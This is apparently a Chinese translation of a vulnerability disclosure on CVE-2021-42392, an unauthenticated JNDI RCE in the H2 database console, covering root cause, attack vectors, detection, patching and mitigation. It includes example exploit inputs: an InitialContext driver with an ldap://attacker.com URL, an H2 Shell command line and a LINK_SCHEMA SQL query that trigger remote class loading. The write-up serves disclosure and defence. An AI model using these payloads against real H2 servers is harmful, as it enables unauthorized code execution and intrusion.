深入分析H2数据库控制台中无需身份验证的RCE漏洞

简介

最近，JFrog安全研究团队披露了H2数据库控制台中的一个安全漏洞，其编号为CVE-2021-42392。这个安全漏洞与Apache Log4j中臭名昭著的Log4Shell漏洞（JNDI远程类加载）有着相同的根源。

H2是一个非常流行的开源Java SQL数据库，提供一个轻量级的内存解决方案，使得用户无需将数据存储在磁盘上。这使得它成为各种项目的首选数据存储解决方案：从Spring Boot等网络平台到ThingWorks等物联网平台。而com.h2database:h2包则是最流行的50个Maven包之一，具有近7000个工件依赖项。

由于目前任何与（Java）JNDI有关的东西都很敏感，所以，在介绍H2漏洞发现之旅之前，我们有必要先澄清一下成功利用该漏洞的前提条件和配置。

尽管这两个漏洞的根源相似，但由于以下因素，CVE-2021-42392漏洞并没有像Log4Shell（CVE-2021-44228）漏洞那样常见：

1、与Log4Shell不同，该漏洞的影响范围是“直接”的。这意味着，通常只有处理初始请求的服务器(H2控制台）才会受到该RCE的影响。与Log4Shell相比，这个漏洞的影响相对较小，因为易受攻击的服务器应该很容易找到。

2、在H2数据库的vanilla发行版上，默认情况下，H2控制台只监听本地主机连接：这使得默认设置是安全的。这与Log4Shell不同，Log4Shell在Log4j的默认配置中是可以利用的。然而，值得注意的是，H2控制台也可以很容易地被修改为监听远程连接。

3、许多供应商可能运行H2数据库，但并不会运行H2控制台。尽管除了控制台之外还有其他可利用这个漏洞的途径，但它们都严重依赖于上下文，所以不太可能暴露给远程攻击者。

也就是说，如果您运行的H2控制台暴露给了局域网（或者更糟糕的是，广域网），这个安全问题就很严重了（无需身份验证的远程代码执行漏洞），所以，您应该立即将H2数据库更新到2.0.206版本。

我们还发现，许多开发者工具都依赖H2数据库，并特意暴露了H2控制台（后面会举一些例子）。根据最近针对开发者的供应链攻击的趋势来看，如流行的存储库中的恶意包，应该提高对开发者工具对所有合理使用情况的安全性的重视。我们认为，依赖H2的开发者工具应尽快采用修复后的数据库版本，以提高其安全性。

我们为什么要扫描JNDI的漏洞？

我们从Log4Shell漏洞事件中得到的一个重要启示是，由于JNDI的广泛使用，必然会有更多的软件包受到与Log4Shell相同的根源的影响：接受任意的JNDI查找URLs。因此，我们调整了自动漏洞检测框架，将”javax.naming.Context.lookup“函数视为危险函数（sink），并将该框架释放到Maven仓库中，希望能找到与Log4Shell类似的安全漏洞。

我们得到的第一个有效命中点是关于H2数据库包的。在确认了这个问题后，我们把它报告给了H2的维护者，他们及时在新的版本中修复了这个问题，并在GitHub上发布了一个关键漏洞的公告。随后，我们也公布了一个高危漏洞，编号为CVE-2021-42392。

在这篇文章中，我们将介绍我们在H2数据库中发现的几个允许触发远程JNDI查询的攻击途径，其中一个途径可以实现无需身份验证的远程代码执行。

漏洞根源：JNDI远程类加载

简单来说，该漏洞的根本原因与Log4Shell类似：H2数据库框架中的几个代码路径将未经过滤的、攻击者控制的URL直接传递给了javax.naming.Context.lookup函数，这将允许远程加载代码库（又称Java代码注入，又称远程代码执行）。

具体来说，org.h2.util.JdbcUtils.getConnection方法需要一个驱动程序类名称和数据库URL作为参数。如果驱动程序的类可分配给javax.naming.Context类，则该方法会从中实例化一个对象并调用其查找方法：

else if (javax.naming.Context.class.isAssignableFrom(d)) {
    // JNDI context
    Context context = (Context) d.getDeclaredConstructor().newInstance();
    DataSource ds = (DataSource) context.lookup(url);
    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
        return ds.getConnection();
    }
    return ds.getConnection(user, password);
}

所以，如果提供一个驱动类（如javax.naming.InitialContext）和一个URL（如ldap://attacker.com/Exploit），就会导致远程代码执行。

CVE-2021-42392攻击向量

H2控制台——上下文无关的、无需身份验证的RCE

这个安全问题最严重的攻击向量是通过H2控制台发动攻击。

H2数据库包含一个内嵌的、基于Web的控制台，帮助管理员轻松管理数据库。当运行H2包JAR时，它在http://localhost:8082上是默认可用的：

java -jar bin/h2.jar

此外，在Windows系统上，也可以通过“开始”菜单启用它：

此外，当H2作为一个嵌入式库使用时，该控制台可以从Java中启动：

h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");
h2Server.start();

对控制台的访问是通过一个登录表格来提供保护的，它允许将“driver”和“url”字段传递给JdbcUtils.getConnection的相应字段。正是这一点导致了无需身份验证的RCE，因为在用潜在的恶意URL进行查找之前，根本无需验证用户名和密码。

在默认情况下，H2控制台只能从本地主机访问。这一选项可以通过控制台的用户界面加以修改：

或者通过一个命令行参数：-webAllowOthers进行修改。

不幸的是，我们发现，一些依赖H2数据库的第三方工具会默认运行暴露给远程客户端的H2控制台。例如，JHipster框架也暴露了H2控制台，并默认将webAllowOthers属性设置为true。

# H2 Server Properties
0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest
webAllowOthers=true
webPort=8092
webSSL=false

从文档中可以看出，当使用JHipster框架运行应用程序时，默认情况下，允许在/h2-console端点上的JHipster web界面上使用H2控制台：

由于H2数据库被如此多的工件使用，所以很难量化H2控制台中存在多少易受攻击的部署。我们之所以认为这是最严重的攻击向量，也是因为使用公共搜索工具就可以定位面向WAN的易受攻击的控制台。

H2 Shell工具：依赖上下文的RCE

在内置的H2 shell中，能够控制命令行参数的攻击者，可以调用前面提到的易受攻击的驱动程序和url来搞事情：

java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit

我们认为这种攻击向量是难以奏效的，因为这要求存在自定义代码，还需要将远程输入通过管道传输这些命令行参数。但是，如果存在这样的自定义代码，攻击者就可以控制命令行的某些部分，那么这种攻击就比较有希望了，并能发动参数注入攻击。关于这种攻击的更多细节，请参阅我们的Yamale文章。

基于SQL的向量：需要身份验证的（高权限的）RCE

此外，易受攻击的JdbcUtils.getConnection也可以被几个SQL存储过程调用，而这些存储过程在H2数据库中是默认可用的。我们已经确定了几个存储过程，但它们都有相同的属性，这使得这种攻击向量威力有限——因为只有经过身份验证的管理员才能调用它们。

例如，LINK_SCHEMA存储过程直接将驱动程序和URL参数传递到易受攻击的函数中，具体如下面的查询所示：

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

由于该存储过程只限于DB管理员使用，所以，我们认为最可能的攻击手段是将单独的SQL注入漏洞升级为RCE漏洞。

如何检测自己是否受到CVE-2021-42392漏洞的影响？

网络管理员可以用nmap扫描他们的本地子网，查看H2控制台的开放实例，例如：

nmap -sV --script http-title --script-args "http-title.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(在vanilla安装中，默认的控制台端点是"/"；对于通过第三方工具部署的H2控制台来说，情况可能有所不同)

任何返回的服务器都很可能被利用。

如上所述，尽管还存在其他攻击向量，不过通过它们进行远程利用的可能性要小得多。但是无论如何，我们都建议用户升级H2数据库（详见后文）。

我们是如何检测到CVE-2021-42392的？

这个安全问题可以通过数据流分析（DFA）检测到，尤其是把Java内置的HttpServlet.doGet/doPost方法定义为用户输入源（特别是第1个req参数），而把上述的javax.naming.Context.lookup方法（执行JNDI查找）定义为危险函数/汇时。

这种情况下的数据流是相当直接的，尽管需要对一些类的字段进行追踪。红色标记的变量代表追踪的数据：

针对CVE-2021-42392的修复建议

我们建议所有H2数据库的用户尽快升级到2.0.206版本，即使您没有直接使用H2控制台。这是因为还存在其他攻击途径，其可利用性目前还难以确定。

2.0.206版通过限制JNDI URL只使用（本地）java协议来修复CVE-2021-42392漏洞，并拒绝任何远程LDAP/RMI查询。这与Log4j 2.17.0中应用的修复方法类似。

如何缓解CVE-2021-42392漏洞的影响？

对该漏洞的最佳修复方法是升级H2数据库。

对于目前无法升级H2的供应商，我们提供以下缓解方案：

1、与Log4Shell漏洞类似，较新版本的Java包含trustURLCodebase缓解措施，不允许通过JNDI直接加载远程代码库。供应商可升级其Java（JRE/JDK）版本，以启用这一缓解措施。

该缓解措施在以下版本的Java（或任何更高的版本）中都是默认启用的：

6u211

7u201

8u191

11.0.1

然而，这种缓解措施并不是无懈可击的，因为攻击者可以通过LDAP发送一个序列化的“gadget”Java对象就可以绕过该缓解措施，只要相应的“gadget”类被包含在classpath中（取决于运行H2数据库的服务器）即可。关于这方面的更多信息，请参见Log4Shell的相关文章。

2、当H2控制台Servlet被部署在Web服务器上时（不使用独立的H2 Web服务器），可以添加一个安全约束，只允许特定的用户访问控制台页面。一个合适的配置例子可以在这里找到。

鸣谢

我们要感谢H2数据库的维护者，他们及时验证和修复了这个安全问题，并负责任地为这个安全问题发布了一个安全公告。

小结

最后，我们强烈建议将您的H2数据库升级到最新版本，以避免受到与CVE-2021-42392漏洞有关的攻击。我们的安全研究团队正在持续扫描类似的JNDI漏洞，这既是为了负责任的披露目的，也是为了提高我们未来零日漏洞的检测能力。据我们所知，CVE-2021-42392是Log4Shell之后公布的第一个JNDI相关的无需身份验证的RCE漏洞，但我们怀疑它绝不会是最后一个。